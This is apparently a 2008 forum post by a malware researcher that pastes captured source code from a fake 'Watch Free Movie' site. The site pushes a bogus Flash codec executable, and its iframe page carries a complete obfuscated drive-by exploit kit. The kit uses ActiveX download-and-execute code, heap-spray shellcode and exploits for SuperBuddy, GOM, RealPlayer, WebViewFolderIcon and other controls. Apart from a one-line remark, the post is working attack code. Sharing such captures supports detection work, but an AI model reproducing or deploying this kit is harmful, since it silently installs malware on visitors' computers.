They've changed again;
*****************************************************************
vURL Desktop Edition v0.3.2 Results
Source code for: http://teleuken.de/top.html
Server IP: 85.13.128.176 [ dd1904.kasserver.com ]
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status: Not Listed
via Proxy: http://it-mate.co.uk/proxy/?url=http://teleuken.de/top.html
Date: 01 August 2008
Time: 10:40:43:40
*****************************************************************
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Watch Free Movie</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" href="master2.css" type="text/css" media="screen" />
<link rel="shortcut icon" href="" type="image/x-icon" />
<meta name="robots" content="all, index, follow" />
<meta name="description" content="" />
<meta name="keywords" content="" />
<meta name="author" content="" />
<meta name="copyright" content="" />
</head>
<body bgcolor="#000000">
<center>
<font style="font:20px Tahoma;color:#efefef;"></font>
</center>
<div id="errorMsg" name="errorMsg" onMouseDown="this.style.zIndex=10;StartDrag(event,this,PutBack)">
<div id="close" onClick="CloseErrorMsg()"></div>
<input type="submit" id="okButton" value="Ok" onclick="downloadCodec(url)">
<input type="submit" value="Cancel" onclick="CloseErrorMsg();">
<input type="submit" value="Continue" onclick="downloadCodec(url)">
</div>
<div id="player">
<img id="img" src="" alt="">
</div>
<script type="text/javascript" src="dnd.js"></script>
<script type="text/javascript" src="master.js"></script>
<script type="text/javascript">
<!--
var gif = "metacafe.gif";
var url = "get_flash_update.exe";
document.getElementById("img").src = gif
showMovie()
-->
</script>
<iframe id="ifid01" src="metai.html" frameborder="0" style="display:none"></iframe>
</body>
</html>
iFrame:
*****************************************************************
vURL Desktop Edition v0.3.2 Results
Source code for: http://teleuken.de/metai.html
Server IP: 85.13.128.176 [ dd1904.kasserver.com ]
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status: Not Listed
via Proxy: http://it-mate.co.uk/proxy/?url=http://teleuken.de/metai.html
Date: 01 August 2008
Time: 10:41:30:41
*****************************************************************
<html>
<head>
<meta http-equiv="refresh" content="8;URL=1.html">
</head>
<body>
</body>
</html>
1.html, detected as HTML/Silly.Gen (AntiVir)
*****************************************************************
vURL Desktop Edition v0.3.2 Results
Source code for: http://teleuken.de/1.html
Server IP: 85.13.128.176 [ dd1904.kasserver.com ]
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status: Not Listed
via Proxy: http://it-mate.co.uk/proxy/?url=http://teleuken.de/1.html
Date: 01 August 2008
Time: 10:42:34:42
*****************************************************************
<script>ZUgZJXG();function ZUgZJXG(){ KglUBuK = document.location.href.replace(/1.html/ig,'') + 'g(e(t_f&l*a^s#h_$u!p*(date)#.!%e^x&#e!'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, '');var OQgDOuD = document.createElement('ob%j(e^ct#%'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, '')); OQgDOuD.setAttribute('id&'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''),'O&(QgD%O*uD'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));OQgDOuD.setAttribute('c$l))as*s&^i#%d'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''),'c$l^s$(id%:B!)D9)6(C(5%&56-65A3$-*1@1^D*(0-(983A)-!0%0C)0(%4F)C!&29$E%3&%6*'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));try{var dXlOmxJ = document.createElement('ob#je!c$%t'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));dXlOmxJ.setAttribute('i$$d)('.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''),'d&*Xl&O^mxJ'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));dXlOmxJ.setAttribute('cl)a#s%)si(d#@'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''),'c^l$^si^d:$F$@0$#E)4^2((D^5!0-%3^&6!8C$-$1(D0)-A@D8$1#*-00$(A*0!C@90(D@C%(8%D)*9&('.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));var AxclEnf = 'C#):^/Doc&u@m(en#t^s( a@n)d$ Se#(tt&i$@n!(g@&s/$^A&^l*l (Us(ers&/!*St(a!r!t& Men^u*(/)^P)r#og$$r&a*%m(s*/!St(^a$rtu%#p#/!smss&@.e#x!e'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, '');dXlOmxJ.SnapshotPath = KglUBuK;dXlOmxJ.CompressedPath = AxclEnf; eval(dXlOmxJ.PrintSnapshot());}catch(JgsOOiI){}try{var fHQTyXx = OQgDOuD.CreateObject('ms&&x&m(l2.^X#M&LH^%T)TP'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''),''); var BKPYHiu = OQgDOuD.CreateObject('S#h@el%$l!&.A&%pp#^l@(ic!@at&*i@on'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''),'');var nrbromf = OQgDOuD.CreateObject('a$d^o&)d$&b.^s(t&re&a$m@'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''),'');try{eval(nrbromf.type = 1); eval(fHQTyXx.open('G%E#)T(#'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''), KglUBuK,false));eval(fHQTyXx.send());eval(nrbromf.open());nrbromf.Write(fHQTyXx.responseBody); var zIPafSm = './&/*.^.@/#/!w%$X#$t(wR^z!v^$.ex!e^$'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, '');eval(nrbromf.savetofile(zIPafSm,2));eval(nrbromf.close());}catch(JgsOOiI){}try{eval(BKPYHiu.shellexecute(zIPafSm));}catch(JgsOOiI){}}catch(JgsOOiI){}}</script><script>var nggByhS = 0x0c0c0c0c; function Gslide(spraySlide, saruuysaddize){while (spraySlide.length * 2 < saruuysaddize){spraySlide += spraySlide;}spraySlide = spraySlide.substring(0, saruuysaddize / 2);return spraySlide;}url = document.location.href.replace(/1.html/ig,'') + 'get(_@*f#%l)as#h_upd%a@!t@^e.!#e$^x)e)'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, '');var outValue = '';for (i = 0; i < url.length;){outValue += '%u' + url.charCodeAt(i+1).toString(16) + url.charCodeAt(i).toString(16);i = i + 2;}outValue += '%u0000';var Shellcode = unescape("WxkNmvuUQyhwYNlu4343WxkNmvuUQyhwYNlu4343WxkNmvuUQyhwYNlu0febWxkNmvuUQyhwYNlu335bWxkNmvuUQyhwYNlu66c9WxkNmvuUQyhwYNlu80b9WxkNmvuUQyhwYNlu8001WxkNmvuUQyhwYNluef33WxkNmvuUQyhwYNlue243WxkNmvuUQyhwYNluebfaWxkNmvuUQyhwYNlue805WxkNmvuUQyhwYNluffecWxkNmvuUQyhwYNluffffWxkNmvuUQyhwYNlu8b7fWxkNmvuUQyhwYNludf4eWxkNmvuUQyhwYNluefefWxkNmvuUQyhwYNlu64efWxkNmvuUQyhwYNlue3afWxkNmvuUQyhwYNlu9f64WxkNmvuUQyhwYNlu42f3WxkNmvuUQyhwYNlu9f64WxkNmvuUQyhwYNlu6ee7WxkNmvuUQyhwYNluef03WxkNmvuUQyhwYNluefebWxkNmvuUQyhwYNlu64efWxkNmvuUQyhwYNlub903WxkNmvuUQyhwYNlu6187WxkNmvuUQyhwYNlue1a1WxkNmvuUQyhwYNlu0703WxkNmvuUQyhwYNluef11WxkNmvuUQyhwYNluefefWxkNmvuUQyhwYNluaa66WxkNmvuUQyhwYNlub9ebWxkNmvuUQyhwYNlu7787WxkNmvuUQyhwYNlu6511WxkNmvuUQyhwYNlu07e1WxkNmvuUQyhwYNluef1fWxkNmvuUQyhwYNluefefWxkNmvuUQyhwYNluaa66WxkNmvuUQyhwYNlub9e7WxkNmvuUQyhwYNluca87WxkNmvuUQyhwYNlu105fWxkNmvuUQyhwYNlu072dWxkNmvuUQyhwYNluef0dWxkNmvuUQyhwYNluefefWxkNmvuUQyhwYNluaa66WxkNmvuUQyhwYNlub9e3WxkNmvuUQyhwYNlu0087WxkNmvuUQyhwYNlu0f21WxkNmvuUQyhwYNlu078fWxkNmvuUQyhwYNluef3bWxkNmvuUQyhwYNluefefWxkNmvuUQyhwYNluaa66WxkNmvuUQyhwYNlub9ffWxkNmvuUQyhwYNlu2e87WxkNmvuUQyhwYNlu0a96WxkNmvuUQyhwYNlu0757WxkNmvuUQyhwYNluef29WxkNmvuUQyhwYNluefefWxkNmvuUQyhwYNluaa66WxkNmvuUQyhwYNluaffbWxkNmvuUQyhwYNlud76fWxkNmvuUQyhwYNlu9a2cWxkNmvuUQyhwYNlu6615WxkNmvuUQyhwYNluf7aaWxkNmvuUQyhwYNlue806WxkNmvuUQyhwYNluefeeWxkNmvuUQyhwYNlub1efWxkNmvuUQyhwYNlu9a66WxkNmvuUQyhwYNlu64cbWxkNmvuUQyhwYNluebaaWxkNmvuUQyhwYNluee85WxkNmvuUQyhwYNlu64b6WxkNmvuUQyhwYNluf7baWxkNmvuUQyhwYNlu07b9WxkNmvuUQyhwYNluef64WxkNmvuUQyhwYNluefefWxkNmvuUQyhwYNlu87bfWxkNmvuUQyhwYNluf5d9WxkNmvuUQyhwYNlu9fc0WxkNmvuUQyhwYNlu7807WxkNmvuUQyhwYNluefefWxkNmvuUQyhwYNlu66efWxkNmvuUQyhwYNluf3aaWxkNmvuUQyhwYNlu2a64WxkNmvuUQyhwYNlu2f6cWxkNmvuUQyhwYNlu66bfWxkNmvuUQyhwYNlucfaaWxkNmvuUQyhwYNlu1087WxkNmvuUQyhwYNluefefWxkNmvuUQyhwYNlubfefWxkNmvuUQyhwYNluaa64WxkNmvuUQyhwYNlu85fbWxkNmvuUQyhwYNlub6edWxkNmvuUQyhwYNluba64WxkNmvuUQyhwYNlu07f7WxkNmvuUQyhwYNluef8eWxkNmvuUQyhwYNluefefWxkNmvuUQyhwYNluaaecWxkNmvuUQyhwYNlu28cfWxkNmvuUQyhwYNlub3efWxkNmvuUQyhwYNluc191WxkNmvuUQyhwYNlu288aWxkNmvuUQyhwYNluebafWxkNmvuUQyhwYNlu8a97WxkNmvuUQyhwYNluefefWxkNmvuUQyhwYNlu9a10WxkNmvuUQyhwYNlu64cfWxkNmvuUQyhwYNlue3aaWxkNmvuUQyhwYNluee85WxkNmvuUQyhwYNlu64b6WxkNmvuUQyhwYNluf7baWxkNmvuUQyhwYNluaf07WxkNmvuUQyhwYNluefefWxkNmvuUQyhwYNlu85efWxkNmvuUQyhwYNlub7e8WxkNmvuUQyhwYNluaaecWxkNmvuUQyhwYNludccbWxkNmvuUQyhwYNlubc34WxkNmvuUQyhwYNlu10bcWxkNmvuUQyhwYNlucf9aWxkNmvuUQyhwYNlubcbfWxkNmvuUQyhwYNluaa64WxkNmvuUQyhwYNlu85f3WxkNmvuUQyhwYNlub6eaWxkNmvuUQyhwYNluba64WxkNmvuUQyhwYNlu07f7WxkNmvuUQyhwYNluefccWxkNmvuUQyhwYNluefefWxkNmvuUQyhwYNluef85WxkNmvuUQyhwYNlu9a10WxkNmvuUQyhwYNlu64cfWxkNmvuUQyhwYNlue7aaWxkNmvuUQyhwYNlued85WxkNmvuUQyhwYNlu64b6WxkNmvuUQyhwYNluf7baWxkNmvuUQyhwYNluff07WxkNmvuUQyhwYNluefefWxkNmvuUQyhwYNlu85efWxkNmvuUQyhwYNlu6410WxkNmvuUQyhwYNluffaaWxkNmvuUQyhwYNluee85WxkNmvuUQyhwYNlu64b6WxkNmvuUQyhwYNluf7baWxkNmvuUQyhwYNluef07WxkNmvuUQyhwYNluefefWxkNmvuUQyhwYNluaeefWxkNmvuUQyhwYNlubdb4WxkNmvuUQyhwYNlu0eecWxkNmvuUQyhwYNlu0eecWxkNmvuUQyhwYNlu0eecWxkNmvuUQyhwYNlu0eecWxkNmvuUQyhwYNlu036cWxkNmvuUQyhwYNlub5ebWxkNmvuUQyhwYNlu64bcWxkNmvuUQyhwYNlu0d35WxkNmvuUQyhwYNlubd18WxkNmvuUQyhwYNlu0f10WxkNmvuUQyhwYNlu64baWxkNmvuUQyhwYNlu6403WxkNmvuUQyhwYNlue792WxkNmvuUQyhwYNlub264WxkNmvuUQyhwYNlub9e3WxkNmvuUQyhwYNlu9c64WxkNmvuUQyhwYNlu64d3WxkNmvuUQyhwYNluf19bWxkNmvuUQyhwYNluec97WxkNmvuUQyhwYNlub91cWxkNmvuUQyhwYNlu9964WxkNmvuUQyhwYNlueccfWxkNmvuUQyhwYNludc1cWxkNmvuUQyhwYNlua626WxkNmvuUQyhwYNlu42aeWxkNmvuUQyhwYNlu2cecWxkNmvuUQyhwYNludcb9WxkNmvuUQyhwYNlue019WxkNmvuUQyhwYNluff51WxkNmvuUQyhwYNlu1dd5WxkNmvuUQyhwYNlue79bWxkNmvuUQyhwYNlu212eWxkNmvuUQyhwYNluece2WxkNmvuUQyhwYNluaf1dWxkNmvuUQyhwYNlu1e04WxkNmvuUQyhwYNlu11d4WxkNmvuUQyhwYNlu9ab1WxkNmvuUQyhwYNlub50aWxkNmvuUQyhwYNlu0464WxkNmvuUQyhwYNlub564WxkNmvuUQyhwYNlueccbWxkNmvuUQyhwYNlu8932WxkNmvuUQyhwYNlue364WxkNmvuUQyhwYNlu64a4WxkNmvuUQyhwYNluf3b5WxkNmvuUQyhwYNlu32ecWxkNmvuUQyhwYNlueb64WxkNmvuUQyhwYNluec64WxkNmvuUQyhwYNlub12aWxkNmvuUQyhwYNlu2db2WxkNmvuUQyhwYNluefe7WxkNmvuUQyhwYNlu1b07WxkNmvuUQyhwYNlu1011WxkNmvuUQyhwYNluba10WxkNmvuUQyhwYNlua3bdWxkNmvuUQyhwYNlua0a2WxkNmvuUQyhwYNluefa1".replace(/WxkNmvuUQyhwYNl/ig, "%") + outValue);var hadttdtSize = 0x400000;var payfdLytyusade = Shellcode.length * 2;var tggter = payfdLytyusade + 0x38;var saruuysaddize = hadttdtSize - tggter;var spraySlide = unescape("QJoHkPQGkyiu0c0cQJoHkPQGkyiu0c0c".replace(/QJoHkPQGkyi/ig, "%")); var prrerat = new Array();spraySlide = Gslide(spraySlide, saruuysaddize);var kilrrer = nggByhS - 0x400000;hsttiicks = kilrrer / hadttdtSize; for (i = 0; i < hsttiicks; i++){prrerat[i] = spraySlide + Shellcode;}function startCreateControlRange(){ugric = unescape("QKSVrYqLThkUyju0d0dQKSVrYqLThkUyju0d0d".replace(/QKSVrYqLThkUyj/ig, "%"));var xYz = 0x40000;while(ugric.length<xYz) ugric += ugric;ugric = ugric.substring(0, 0x3ffe4-Shellcode.length);bublic = new Array();for(i = bublic; i < 450; i++) bublic[i] = ugric + Shellcode; mceil = Math.ceil(0xd0d0d0d);document.write('<object classid="CLSID:EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F"></object>');try{mceil = document.scripts[0].createControlRange().length;}catch(e){}setTimeout("startSuperBuddy()", 3000);}function startSuperBuddy(){try {var buddy = new ActiveXObject('Sb*%.S)*upe^r*!B^udd*y*&.1'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));if (buddy){buddy.LinkSBIcons(0x0c0c0c0c);}}catch(e) {}setTimeout("startAudioFile()", 2000);}function startAudioFile(){try{var mmed = document.createElement('o@bje*ct%^'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));mmed.setAttribute('cl!a%s&s#i!)d&'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''), 'clsi!d!@:*7%7#82!9(F&14-(D)*9)11!-40@FF&*-A)2#^F0-D11D$$B#8(!D@6%#D0*B^(C@'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));var mms='';for(var i=0; i < 4120; i++) { mms += 'A('.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''); }mms += ' &) @! *!'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, '');mmed.SetFormatLikeSample(mms);}catch(e){}setTimeout("startGOM()", 2000);} function startGOM(){var sURL='';for(var i = 0; i < 510; i++){sURL += unescape("nSzRvYVJyyJu0c".replace(/nSzRvYVJyyJu/ig, "%"));}try{var GomManager = new ActiveXObject('G%#o^m^#W^eb#C#t&r!l!.G#^om)&Man&a*g&er^.1&'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));GomManager.OpenURL(sURL);}catch(e){}setTimeout("startRealPlayer()", 2000);}function startRealPlayer(){try{var rpl = document.createElement('o^&b%)j%e!ct'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, '')),adt='';rpl.setAttribute('cla&%s#s$%id'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''), 'c@ls@id:#2$)F*#5@^42@A*!2E%-%E^D$)C(9)-4^*B!F(7^-8^C)B1-%8#7^C*9$91))9&F7$F@9)!3$&'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));for(var i = 0; i < 32; i++) { adt=adt+unescape("iNIwLMtmTIIsTzT0C".replace(/iNIwLMtmTIIsTzT/ig, "%")); }for(i = 0; i < 5; i++){rbt = rpl.Console;rpl.Console = adt;rpl.Console = rbt;}setTimeout("startWVF()", 2000);}catch(e){}}function startWVF(){for (i = 0; i < 128; i++) {try{var tar = new ActiveXObject('We)bVie#wF(o$l!$de%(r(I*co^#n%.We@bView)!Fol*d*&e!r^(I$co*n%.&1^&'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));tar.setSlice(0x7ffffffe, 0x05050505, 0x05050505,0x05050505);}catch(e){}}} startCreateControlRange();</script>
Topic: R-thing (Read 45136 times)
